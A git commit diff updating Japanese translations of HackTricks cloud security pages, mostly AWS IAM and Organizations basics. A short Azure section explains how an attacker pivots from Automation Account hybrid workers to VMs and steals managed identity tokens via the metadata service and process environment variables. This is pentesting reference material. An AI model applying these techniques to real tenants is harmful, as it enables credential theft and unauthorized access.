Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-03-17 03:52:08 +00:00
parent 63ee8afd99
commit f46f99186c
3 changed files with 96 additions and 64 deletions

BIN
src/images/vm_to_aa.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 142 KiB

View File

@@ -10,7 +10,7 @@
AWSには**ルートアカウント**があり、これは**組織内のすべてのアカウントの親コンテナ**です。しかし、そのアカウントを使用してリソースをデプロイする必要はなく、**異なるAWS**インフラストラクチャを分離するために**他のアカウントを作成することができます**。
これは**セキュリティ**の観点から非常に興味深いことであり、**1つのアカウントは他のアカウントのリソースにアクセスできません**(特別にブリッジが作成されない限り)。このようにして、デプロイメント間に境界を作成できます。
これは**セキュリティ**の観点から非常に興味深いことであり、**1つのアカウントは他のアカウントのリソースにアクセスできません**(特別にブリッジが作成されていない限り)。このようにして、デプロイメント間に境界を作成できます。
したがって、**組織内には2種類のアカウントがあります**AWSアカウントについて話しており、ユーザーアカウントではありません管理アカウントとして指定された単一のアカウントと、1つ以上のメンバーアカウントです。
@@ -19,7 +19,7 @@ AWSには**ルートアカウント**があり、これは**組織内のすべ
- 組織内にアカウントを作成する
- 他の既存のアカウントを組織に招待する
- 組織からアカウントを削除する
- 招待を管理する
- 招待を管理する
- 組織内のエンティティルート、OU、またはアカウントにポリシーを適用する
- 組織内のすべてのアカウントにサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。
- このルートアカウント/組織を作成するために使用されたメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。
@@ -27,46 +27,64 @@ AWSには**ルートアカウント**があり、これは**組織内のすべ
管理アカウントは**支払いアカウントの責任**を持ち、メンバーアカウントによって発生したすべての料金を支払う責任があります。組織の管理アカウントを変更することはできません。
- **メンバーアカウント**は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用することができます。
- メンバーアカウントは**有効なメールアドレスを使用する必要があり**、**名前**を持つことができます。一般的に、請求を管理することはできませんが、アクセスが与えられる場合があります。
- メンバーアカウントは**有効なメールアドレスを使用する必要があり**、**名前**を持つことができます。一般的に、請求を管理することはできませんが、アクセスが与えられることがあります。
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **組織単位**
アカウントは**組織単位 (OU)**にグループ化できます。この方法で、組織単位に対して**ポリシー**を作成し、それが**すべての子アカウントに適用される**ようにできます。OUは他のOUを子として持つことができることに注意してください。
アカウントは**組織単位 (OU)**にグループ化できます。このようにして、組織単位に対して**ポリシー**を作成し、それが**すべての子アカウントに適用される**ようにできます。OUは他のOUを子として持つことができることに注意してください。
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### サービスコントロールポリシー (SCP)
### Service Control Policy (SCP)
**サービスコントロールポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM**権限ポリシーに似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**メンバーアカウント内のエンティティの権限が制限されます**。
**サービスコントロールポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM**権限ポリシーに似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**メンバーアカウント内のエンティティの権限が制限されます**。
これは**ルートユーザーでさえ何かを行うのを止める唯一の方法**です。たとえば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーから止めるために使用できます。\
これは**ルートユーザーでさえ何かを行うのを止める唯一の方法**です。えば、CloudTrailを無効にしたり、バックアップを削除したりするのを防ぐために使用できます。\
これを回避する唯一の方法は、SCPを設定する**マスターアカウント**も侵害することです(マスターアカウントはブロックできません)。
> [!WARNING]
> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが`s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスする人を止めることはない**ことを意味します。
> **SCPはアカウント内のプリンシパルのみを制限**するため、他のアカウントには影響しません。これは、SCPが`s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスする人を止めることはない**ことを意味します。
SCPの例:
SCPの例
- ルートアカウントを完全に拒否
- 特定のリージョンのみを許可
- ホワイトリストに登録されたサービスのみを許可
- GuardDuty、CloudTrail、およびS3パブリックブロックアクセス無効を拒否
- GuardDuty、CloudTrail、およびS3パブリックブロックアクセス無効にすることを拒否
- セキュリティ/インシデントレスポンスロールの削除または
変更を拒否。
- バックアップの削除を拒否。
- IAMユーザーとアクセスキーの作成を拒否
- IAMユーザーとアクセスキーの作成を拒否
**JSONの例**は[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)で見つけてください。
### Resource Control Policy (RCP)
**リソースコントロールポリシー (RCP)** は、**AWS組織内のリソースに対する最大権限を定義するポリシー**です。RCPは構文においてIAMポリシーに似ていますが、**権限を付与しません**—他のポリシーによってリソースに適用できる権限を制限するだけです。RCPを組織のルート、組織単位 (OU)、またはアカウントにアタッチすると、RCPは影響を受ける範囲内のすべてのリソースに対するリソース権限を制限します。
これは**リソースが事前定義されたアクセスレベルを超えないことを保証する唯一の方法**です—たとえアイデンティティベースまたはリソースベースのポリシーが過剰に許可されていても。これらの制限を回避する唯一の方法は、組織の管理アカウントによって設定されたRCPを変更することです。
> [!WARNING]
> RCPはリソースが持つことができる権限のみを制限します。プリンシパルが何をできるかを直接制御するわけではありません。例えば、RCPがS3バケットへの外部アクセスを拒否する場合、それはバケットの権限が設定された制限を超えるアクションを許可しないことを保証します—たとえリソースベースのポリシーが誤って設定されていても。
RCPの例
- S3バケットを制限し、あなたの組織内のプリンシパルのみがアクセスできるようにする
- KMSキーの使用を信頼された組織アカウントからの操作のみを許可するように制限
- SQSキューの権限を制限し、不正な変更を防ぐ
- Secrets Managerのシークレットにアクセス境界を強制し、機密データを保護する
例は[AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)で見つけてください。
### ARN
**Amazonリソース名**は、AWS内のすべてのリソースが持つ**ユニークな名前**で、次のように構成されています:
**Amazon Resource Name**は、AWS内のすべてのリソースが持つ**ユニークな名前**で、次のように構成されています
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
@@ -80,10 +98,10 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
## IAM - アイデンティティとアクセス管理
IAMは、AWSアカウント内での**認証**、**承認**、および**アクセス制御**を管理するためのサービスです。
IAMは、AWSアカウント内での**認証**、**承認**、および**アクセス制御**を管理することを可能にするサービスです。
- **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に分けることができます。
- **承認** - 認証された後に、システム内でアイデンティティがアクセスできるものを決定します。
- **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に細分化できます。
- **承認** - アイデンティティがシステム内でアクセスできるものを決定します。
- **アクセス制御** - セキュアなリソースへのアクセスがどのように付与されるかの方法とプロセス
IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、承認、およびアクセス制御メカニズムを管理、制御、統治する能力によって定義されます。
@@ -98,24 +116,24 @@ Amazon Web Services (AWS) アカウントを最初に作成すると、アカウ
### [IAMユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
IAM _ユーザー_は、AWS内で**それを使用してAWSと対話する人またはアプリケーション**を**表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報パスワードと最大2つのアクセスキーで構成されます。
IAM _ユーザー_ は、AWS内で**人またはアプリケーション**を**AWSと対話させるために使用する**エンティティです。AWSのユーザーは、名前と資格情報パスワードと最大2つのアクセスキーで構成されます。
IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーを直接ユーザーに添付**することができます(推奨)。
ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります[**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。
ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります [**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。
#### CLI
- **アクセスキーID**: 20のランダムな大文字アルファベットと数字の組み合わせAKHDNAPO86BSHKDIRYT
- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU失われたシークレットアクセスキーIDを取得することはできません
- **アクセスキーID**: 20のランダムな大文字の英数字の文字列AKHDNAPO86BSHKDIRYT
- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU失われたシークレットアクセスキーIDを取得することはできません
**アクセスキーを変更する必要がある場合**は、次のプロセスに従う必要があります:\
_新しいアクセスキーを作成 -> 新しいキーをシステム/アプリケーションに適用 -> 元のキーを非アクティブとしてマーク -> 新しいアクセスキーが機能しているかテストして確認 -> 古いアクセスキーを削除_
アクセスキーを**変更する必要がある場合**は、次のプロセスに従う必要があります:\
_新しいアクセスキーを作成 -> 新しいキーをシステム/アプリケーションに適用 -> 元のキーを非アクティブとしてマーク -> 新しいアクセスキーが機能していることをテストおよび確認 -> 古いアクセスキーを削除_
### MFA - 多要素認証
これは、既存の方法(パスワードなど)に加えて**認証のための追加の要素を作成する**ために使用され、マルチファクターレベルの認証を作成します。\
無料の仮想アプリケーションや物理デバイスを使用できます。Google認証などのアプリを使用して、AWSでMFAを無料で有効にできます。
無料の仮想アプリケーションや物理デバイスを使用できます。AWSでMFAを有効にするために、Google認証などのアプリを無料で使用できます。
MFA条件を持つポリシーは、以下に添付できます
@@ -123,12 +141,14 @@ MFA条件を持つポリシーは、以下に添付できます
- Amazon S3バケット、Amazon SQSキュー、またはAmazon SNSトピックなどのリソース
- ユーザーによって引き受けられるIAMロールの信頼ポリシー
**MFAをチェックする**リソースに**CLI経由でアクセスしたい場合**は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\
**`AssumeRole`の資格情報にはこの情報含まれていない**ことに注意してください
MFAを**チェックする**リソースに**CLI経由でアクセスしたい場合**は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\
注意:**`AssumeRole`の資格情報にはこの情報含まれていません**
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
以下の内容は、AWSにおけるMFAの使用ができないさまざまなケースについて説明しています。
以下の内容は、AWSに関する基本情報を提供します。
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAが使用できない**さまざまなケースがあります。
### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
@@ -145,7 +165,7 @@ IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/
### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
IAM **ロール**は**ユーザー**非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています(十分な権限がある場合)**。IAMユーザーは特定のタスクのために一時的に異なる権限を取得するためにロールを**引き受けることができます**。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
IAM **ロール**は**ユーザー**非常に**似ています**。それは、AWSで何ができるかを決定する**権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。特定の人に一意に関連付けられるのではなく、ロールは**必要な人(十分な権限を持つ人)が引き受けることを意図しています**。**IAMユーザーはロールを引き受けて、一時的に**特定のタスクのために異なる権限を持つことができます。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
IAMロールは、**2種類のポリシー**で構成されています:**信頼ポリシー**(空であってはならず、**誰がロールを引き受けることができるかを定義**)と、**権限ポリシー**(空であってはならず、**何にアクセスできるかを定義**)。
@@ -155,7 +175,7 @@ AWSセキュリティトークンサービスSTSは、**一時的で制限
### [IAMにおける一時的な資格情報](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報をリクエストできます。これにより、**制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。
**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報をリクエストできます。これにより、**より制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。
### ポリシー
@@ -164,10 +184,10 @@ AWSセキュリティトークンサービスSTSは、**一時的で制限
権限を割り当てるために使用されます。2種類あります
- AWS管理ポリシーAWSによって事前設定されたもの
- カスタマー管理ポリシーあなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できますそのうちの1つを修正して自のものを作成する、ポリシージェネレーターを使用する権限を付与および拒否するのを助けるGUIビューまたは自分で書くことができます。
- カスタマー管理ポリシーあなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できますそのうちの1つを修正して自のものを作成する、ポリシージェネレーターを使用する権限を付与および拒否するのを助けるGUIビューまたは自分で書くことができます。
**デフォルトのアクセスは** **拒否**され、明示的なロールが指定された場合にのみアクセスが許可されます。\
**単一の「拒否」が存在する場合、それは「許可」を上書きします**。ただし、AWSアカウントのルートセキュリティ資格情報を使用するリクエスト(デフォルトで許可されます
**単一の「拒否」が存在する場合、それは「許可」を上書きします**。ただし、AWSアカウントのルートセキュリティ資格情報を使用するリクエストデフォルトで許可されている)は除きます。
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -195,26 +215,26 @@ AWSセキュリティトークンサービスSTSは、**一時的で制限
#### インラインポリシー
この種のポリシーは**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるようにはポリシーリストに表示されません。\
インラインポリシーは、**ポリシーと適用されるアイデンティティの間に厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
この種のポリシーは**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるポリシーリストに表示されません。\
インラインポリシーは、**ポリシーと適用されるアイデンティティの間に厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
#### リソースバケットポリシー
これらは**リソースに定義できるポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
これらは**リソース**に定義できる**ポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
もしプリンシパルがそれに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。
### IAMバウンダリー
IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、使用しようとすると操作は**失敗**します。
IAMバウンダリーは、**ユーザーまたはロールがアクセスすべき権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、操作は**失敗**します。
バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼S·バケットを読むことしかできないと示している場合、それが彼ができる最大のことです。
バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼S·バケットのみを読み取ることを示している場合、それが彼ができる最大のことです。
**これ**、**SCP**および**最小権の原則に従うこと**は、ユーザーが必要以上の権限を持たないように制御する方法です。
**これ**、**SCP**および**最小権の原則に従うこと**は、ユーザーが必要以上の権限を持たないように制御する方法です。
### セッションポリシー
セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**になります:これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**(最大権限はロールが持つものです)。
セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**になります:これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**(最大権限はロールが持つものです)。
これは**セキュリティ対策**に役立ちます:管理者が非常に特権のあるロールを引き受ける場合、セッションが侵害された場合に備えて、セッションポリシーに示された権限のみを制限することができます。
```bash
@@ -224,18 +244,18 @@ aws sts assume-role \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
注意してください。デフォルトでは、**AWSはセッションの生成に対してセッションポリシーを追加する可能性があります**。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで強化された認証を使用して、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
注意すべきは、デフォルトで**AWSはセッションセッションポリシーを追加する可能性がある**ということです。これは、第三者の理由から生成されるセッションに対してです。例えば、[認証されていないCognitoの引き受けロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで強化された認証を使用して、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
したがって、ある時点で「...セッションポリシーが許可していないため...」といエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ということです。
したがって、ある時点で「...セッションポリシーが...を許可していないため」といったエラーに直面した場合、ロールがそのアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ということです。
### アイデンティティフェデレーション
アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザーが**、有効なIAMユーザーアカウントのAWSユーザー資格情報を提供することなく、AWSリソースに安全にアクセスできるようにします。\
アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザーが**AWSリソースに安全にアクセスできるようにし、AWSユーザー資格情報を有効なIAMユーザーアカウントから提供する必要がありません。\
アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory****SAML**経由)や**OpenID**サービス(**Google**などがあります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。
この信頼を構成するために、**他のプラットフォームを信頼するIAMアイデンティティプロバイダーSAMLまたはOAuthが生成されます**。次に、少なくとも1つの**IAMロールがアイデンティティプロバイダーに信頼される割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
この信頼を構成するために、**IAMアイデンティティプロバイダーSAMLまたはOAuthが生成され**、**他のプラットフォームを信頼する**ことになります。そして、少なくとも1つの**IAMロールがアイデンティティプロバイダーに信頼される割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、前述のロールとしてアクセスします。
ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し、サードパーティプラットフォームがユーザーにどちらのロールを引き受けるかを許可します**
ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
@@ -248,7 +268,7 @@ AWS IAMアイデンティティセンターAWSシングルサインオンの
ユーザーをログインさせるために、使用できる3つのアイデンティティソースがあります
- アイデンティティセンターディレクトリ通常のAWSユーザー
- アクティブディレクトリ:異なるコネクタをサポート
- Active Directory:異なるコネクタをサポート
- 外部アイデンティティプロバイダーすべてのユーザーとグループは外部アイデンティティプロバイダーIdPから来ます
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
@@ -259,14 +279,14 @@ AWS IAMアイデンティティセンターAWSシングルサインオンの
#### AwsSSOInlinePolicy
**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを介して権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーこれらの権限を持ちます。
**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを通じて権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーこれらの権限を持ちます。
したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールが表示されても、**同じ権限を持っているわけではありません**。
したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールがあっても、**同じ権限を持っているわけではありません**。
### クロスアカウントの信頼とロール
**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスを許可する**が、**新しいロールポリシーで示されたアクセスのみを持つ**ことができます。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーなどの他の認証されたユーザーもこの信頼を悪用できる可能性があります。
信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。
### AWS Simple AD
@@ -282,14 +302,14 @@ AWS IAMアイデンティティセンターAWSシングルサインオンの
#### WebフェデレーションまたはOpenID認証
アプリはAssumeRoleWithWebIdentityを使用して一時的な資格情報を作成します。ただし、これによりAWSコンソールへのアクセスは付与されず、AWS内のリソースへのアクセスのみが付与されます。
アプリはAssumeRoleWithWebIdentityを使用して一時的な資格情報を作成します。ただし、これによりAWSコンソールへのアクセスは付与されず、AWS内のリソースへのアクセスのみが許可されます。
### その他のIAMオプション
- **パスワードポリシー設定**を設定することができ、最小長やパスワード要件などのオプションがあります。
- **"Credential Report"をダウンロード**して、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
- **「資格情報レポート」をダウンロード**することができ、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
AWSアイデンティティおよびアクセス管理IAMは、AWS全体での**きめ細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、そしてどの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**
AWSアイデンティティおよびアクセス管理IAMは、AWS全体での**きめ細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、どの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保**します。
### IAM IDプレフィックス
@@ -309,7 +329,7 @@ AWSアイデンティティおよびアクセス管理IAMは、AWS全体
| APKA | 公開鍵 |
| AROA | ロール |
| ASCA | 証明書 |
| ASIA | [一時的AWS STSアクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーおよびセッショントークンと組み合わせた場合にのみ一意です。 |
| ASIA | [一時的AWS STSアクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーセッショントークンと組み合わせた場合にのみ一意です。 |
### アカウントを監査するための推奨権限
@@ -353,16 +373,17 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
この設定ファイルを使用すると、aws cliを次のように使用できます:
この設定ファイルを使用すると、次のようにaws cliを使用できます:
```
aws --profile acc2 ...
```
もしこれに**似た**ものを**ブラウザ**用に探しているなら、**拡張機能**[**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックしてください
もしこれに**似た**ものを**ブラウザ**用に探しているなら、**拡張機能** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックできます
## 参考文献
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
- [https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/](https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,20 +10,31 @@
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers Group
### ハイブリッドワーカーグループ
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これはオンプレミスのマシン、異なるクラウドのVPC、またはAzure VMである可能性があります。
- **Automation AccountからVMへ**
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これは、オンプレミスのマシン、異なるクラウドのVPC、またはAzure VMである可能性があります。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのすべてのマネージドアイデンティティにメタデータサービスからアクセスできる**ようになります。
> [!TIP]
> **メタデータサービス**のURLは、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**であることを忘れないでください(**`IDENTITY_ENDPOINT`**)。
> **メタデータサービス**は、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**)。
- **VMからAutomation Accountへ**
さらに、誰かがAutomation Accountスクリプトが実行されているVMを侵害した場合、彼は**Automation Account**のメタデータを特定し、VMからアクセスして**Automation Account**に関連付けられた**Managed Identities**のトークンを取得することができます。
次の画像に示すように、VM上で管理者アクセスを持っている場合、**プロセスの環境変数**の中にAutomation AccountメタデータサービスにアクセスするためのURLとシークレットを見つけることができます:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
